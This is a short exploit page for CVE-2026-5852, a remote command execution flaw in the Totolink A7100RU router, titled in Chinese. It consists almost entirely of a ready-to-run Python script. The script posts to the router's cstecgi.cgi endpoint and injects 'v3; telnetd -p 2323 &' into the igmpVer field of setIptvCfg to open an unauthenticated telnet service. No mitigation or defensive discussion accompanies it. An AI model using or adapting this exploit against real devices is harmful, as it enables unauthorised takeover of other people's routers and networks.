CVE-2026-5852 Totolink A7100RU远程命令执行漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers often required by router web interfaces headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=1234" # May or may not be needed depending on auth requirements (PR:N implies none) } # The vulnerable payload injecting a command (e.g., telnetd or reboot) # The parameter 'igmpVer' is the injection point payload_data = { "function": "setIptvCfg", "igmpVer": "v3; telnetd -p 2323 &" # Injection payload to start telnet } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")